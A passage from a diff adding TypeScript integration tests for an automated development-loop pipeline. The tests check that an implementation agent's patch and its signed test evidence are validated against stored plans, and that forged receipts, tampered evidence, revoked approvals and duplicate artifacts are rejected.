context.db + .select() + .from(agentPlans) + .where(eq(agentPlans.runId, created.runId)); + const plan = planRow?.plan as { identity?: { id?: string; sha256?: string } }; + if (!plan.identity?.id || !plan.identity.sha256) throw new Error("Expected plan identity."); + + const testPatch = [ + "diff --git a/tests/unit/red.test.ts b/tests/unit/red.test.ts", + "new file mode 100644", + "--- /dev/null", + "+++ b/tests/unit/red.test.ts", + "@@ -0,0 +1 @@", + "+expect(ready).toBe(true);", + ].join("\n"); + const testPlan = { + version: 1 as const, + schemaId: testPlanSchemaId, + plan: { + id: plan.identity.id, + sha256: plan.identity.sha256, + repositoryFullName: "ncolesummers/loopworks", + commitSha: "a".repeat(40), + }, + acceptanceCriteria: [{ id: "ac-1", text: "Implementation makes the red test green." }], + tests: [ + { + id: "test-ac-1", + acceptanceCriterionIds: ["ac-1"], + type: "unit" as const, + path: "tests/unit/red.test.ts", + command: "bun run test -- tests/unit/red.test.ts", + steps: ["Run focused test."], + expectedFailure: { kind: "assertion" as const, message: "expected false to be true" }, + fixtureIds: [], + }, + ], + fixtures: [], + patch: { + format: "unified-diff" as const, + content: testPatch, + sha256: sha256(testPatch), + byteCount: Buffer.byteLength(testPatch), + paths: ["tests/unit/red.test.ts"], + }, + }; + const redEvidence = { + version: 1 as const, + schemaId: redTestEvidenceSchemaId, + planId: plan.identity.id, + planSha256: plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(testPlan), + results: [ + { + id: "red-ac-1", + testId: "test-ac-1", + acceptanceCriterionIds: ["ac-1"], + command: "bun run test -- tests/unit/red.test.ts", + outcome: "expected_failure" as const, + exitCode: 1, + durationMs: 10, + expectedAssertion: "expected false to be true", + executionReceipt: "b".repeat(64), + outputReference: { + uri: "artifact://red.log", + sha256: "c".repeat(64), + byteCount: 10, + redacted: true as const, + }, + }, + ], + }; + + const [testStep] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, created.runId), eq(runSteps.stage, "test-writing"))); + const [developmentStep] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, created.runId), eq(runSteps.stage, "development"))); + if (!testStep || !developmentStep) throw new Error("Expected stage steps."); + const testArtifacts = await context.db + .select() + .from(artifacts) + .where(eq(artifacts.stepId, testStep.id)); + const testPlanArtifact = testArtifacts.find(({ type }) => type === "test_plan"); + const redArtifact = testArtifacts.find(({ type }) => type === "validation_report"); + if (!testPlanArtifact || !redArtifact) throw new Error("Expected upstream artifacts."); + await context.db + .update(artifacts) + .set({ + metadata: { testPlan, testPlanMetadataKind: "test_plan_result" }, + sha256: computeTestPlanDigest(testPlan), + }) + .where(eq(artifacts.id, testPlanArtifact.id)); + await context.db + .update(artifacts) + .set({ + metadata: { + redTestEvidence: redEvidence, + redTestEvidenceMetadataKind: "red_test_evidence_result", + }, + sha256: computeTestPlanDigest(redEvidence), + }) + .where(eq(artifacts.id, redArtifact.id)); + await context.db + .update(runSteps) + .set({ status: "succeeded", validationStatus: "red", completedAt: new Date() }) + .where(eq(runSteps.id, testStep.id)); + await context.db + .update(runSteps) + .set({ status: "running", startedAt: new Date() }) + .where(eq(runSteps.id, developmentStep.id)); + await context.db + .update(loopRuns) + .set({ currentStage: "development", status: "running" }) + .where(eq(loopRuns.id, created.runId)); + + const patch = [ + "diff --git a/src/example.ts b/src/example.ts", + "--- a/src/example.ts", + "+++ b/src/example.ts", + "@@ -1 +1 @@", + "-export const ready = false;", + "+export const ready = true;", + ].join("\n"); + const binding = { + planId: plan.identity.id, + planSha256: plan.identity.sha256, + testPlanSha256: computeTestPlanDigest(testPlan), + testPatchSha256: testPlan.patch.sha256, + fixturesSha256: computeImplementationDigest(testPlan.fixtures), + repositoryFullName: "ncolesummers/loopworks", + commitSha: "a".repeat(40), + }; + const focusedOutput = sha256("PASS tests/unit/red.test.ts"); + const validationOutput = sha256("validate pass"); + const baseReceipt = { + exitCode: 0, + outcome: "pass" as const, + planSha256: binding.planSha256, + testPlanSha256: binding.testPlanSha256, + testPatchSha256: binding.testPatchSha256, + productionPatchSha256: sha256(patch), + }; + const output: ImplementationResult = { + version: 1, + schemaId: implementationResultSchemaId, + model: implementationAgentModelLabel, + binding, + patch: { + format: "unified-diff", + content: patch, + sha256: sha256(patch), + byteCount: Buffer.byteLength(patch), + paths: ["src/example.ts"], + }, + greenEvidence: [ + { + id: "green-ac-1", + testId: "test-ac-1", + acceptanceCriterionIds: ["ac-1"], + command: "bun run test -- tests/unit/red.test.ts", + testPath: "tests/unit/red.test.ts", + outcome: "pass", + exitCode: 0, + durationMs: 12, + executionReceipt: createImplementationExecutionReceipt( + { + ...baseReceipt, + kind: "focused", + command: "bun run test -- tests/unit/red.test.ts", + outputSha256: focusedOutput, + testPaths: ["tests/unit/red.test.ts"], + }, + "implementation-secret", + ), + outputReference: { + uri: "artifact://green.log", + sha256: focusedOutput, + byteCount: 31, + redacted: true, + }, + }, + ], + validationEvidence: { + command: "bun run validate", + outcome: "pass", + exitCode: 0, + durationMs: 30, + executionReceipt: createImplementationExecutionReceipt( + { + ...baseReceipt, + kind: "aggregate", + command: "bun run validate", + outputSha256: validationOutput, + testPaths: [], + }, + "implementation-secret", + ), + outputReference: { + uri: "artifact://validate.log", + sha256: validationOutput, + byteCount: 13, + redacted: true, + }, + }, + }; + return { approvalId: approval.id, output, runId: created.runId }; + } + + it("persists the patch and advances complete green evidence to validation", async () => { + const prepared = await prepare(); + const result = await applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }); + expect(result).toMatchObject({ stage: "development", status: "advanced" }); + const [run] = await context.db.select().from(loopRuns).where(eq(loopRuns.id, prepared.runId)); + const [step] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, prepared.runId), eq(runSteps.stage, "development"))); + const [artifact] = await context.db + .select() + .from(artifacts) + .where(and(eq(artifacts.runId, prepared.runId), eq(artifacts.stepId, step?.id ?? ""))); + expect(run?.currentStage).toBe("validation"); + expect(step).toMatchObject({ status: "succeeded", validationStatus: "green" }); + expect(artifact?.metadata).toMatchObject({ + implementationMetadataKind: "implementation_result", + implementationResultSchemaId, + }); + expect(artifact?.sha256).toBe(computeImplementationDigest(prepared.output)); + }); + + it("rejects a receipt that is not bound to the production patch", async () => { + const prepared = await prepare(); + const evidence = prepared.output.greenEvidence[0]; + if (!evidence) throw new Error("Expected green evidence."); + evidence.executionReceipt = "0".repeat(64); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow(); + }); + + it("allows only an exact idempotent replay", async () => { + const prepared = await prepare(); + await applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).resolves.toMatchObject({ idempotent: true }); + + const different = structuredClone(prepared.output); + different.validationEvidence.durationMs += 1; + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: different, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow("does not match the persisted result"); + }); + + it("fails closed when plan approval is revoked before persistence", async () => { + const prepared = await prepare(); + await context.db + .update(approvals) + .set({ status: "rejected" }) + .where(eq(approvals.id, prepared.approvalId)); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow("plan identity is invalid"); + }); + + it("rejects red evidence that no longer matches the persisted test plan", async () => { + const prepared = await prepare(); + const [testStep] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, prepared.runId), eq(runSteps.stage, "test-writing"))); + if (!testStep) throw new Error("Expected test-writing step."); + const rows = await context.db.select().from(artifacts).where(eq(artifacts.stepId, testStep.id)); + const redRow = rows.find(({ type }) => type === "validation_report"); + const redEvidence = structuredClone(redRow?.metadata?.redTestEvidence) as { + results?: Array<{ command?: string }>; + }; + if (!redRow || !redEvidence.results?.[0]) throw new Error("Expected red evidence."); + redEvidence.results[0].command = "bun run test -- tests/unit/unrelated.test.ts"; + await context.db + .update(artifacts) + .set({ + metadata: { ...redRow.metadata, redTestEvidence: redEvidence }, + sha256: computeTestPlanDigest(redEvidence), + }) + .where(eq(artifacts.id, redRow.id)); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow("does not match the persisted test plan"); + }); + + it("rejects duplicate upstream handoff artifacts", async () => { + const prepared = await prepare(); + const [testStep] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, prepared.runId), eq(runSteps.stage, "test-writing"))); + if (!testStep) throw new Error("Expected test-writing step."); + const [testPlanArtifact] = await context.db + .select() + .from(artifacts) + .where(and(eq(artifacts.stepId, testStep.id), eq(artifacts.type, "test_plan"))); + if (!testPlanArtifact) throw new Error("Expected test-plan artifact."); + await context.db.insert(artifacts).values({ + id: randomUUID(), + metadata: testPlanArtifact.metadata, + runId: prepared.runId, + sha256: testPlanArtifact.sha256, + stepId: testStep.id, + title: "Duplicate test plan", + type: "test_plan", + uri: "artifact://duplicate/test-plan", + }); + await expect( + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ).rejects.toThrow("exactly one test plan"); + }); + + it("serializes concurrent identical transitions without overwriting the patch", async () => { + const prepared = await prepare(); + const results = await Promise.allSettled([ + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + applyDevelopmentLoopImplementationResult({ + database: context.db as unknown as DevelopmentLoopTransitionDatabase, + output: prepared.output, + receiptSecret: "implementation-secret", + runId: prepared.runId, + }), + ]); + const fulfilled = results.filter( + ( + result, + ): result is PromiseFulfilledResult< + Awaited> + > => result.status === "fulfilled", + ); + expect(fulfilled).toHaveLength(2); + expect(fulfilled.some(({ value }) => value.idempotent === true)).toBe(true); + const [step] = await context.db + .select() + .from(runSteps) + .where(and(eq(runSteps.runId, prepared.runId), eq(runSteps.stage, "development"))); + const [patchArtifact] = await context.db + .select() + .from(artifacts) + .where(and(eq(artifacts.stepId, step?.id ?? ""), eq(artifacts.type, "patch"))); + expect(patchArtifact?.sha256).toBe(computeImplementationDigest(prepared.output)); + }); +});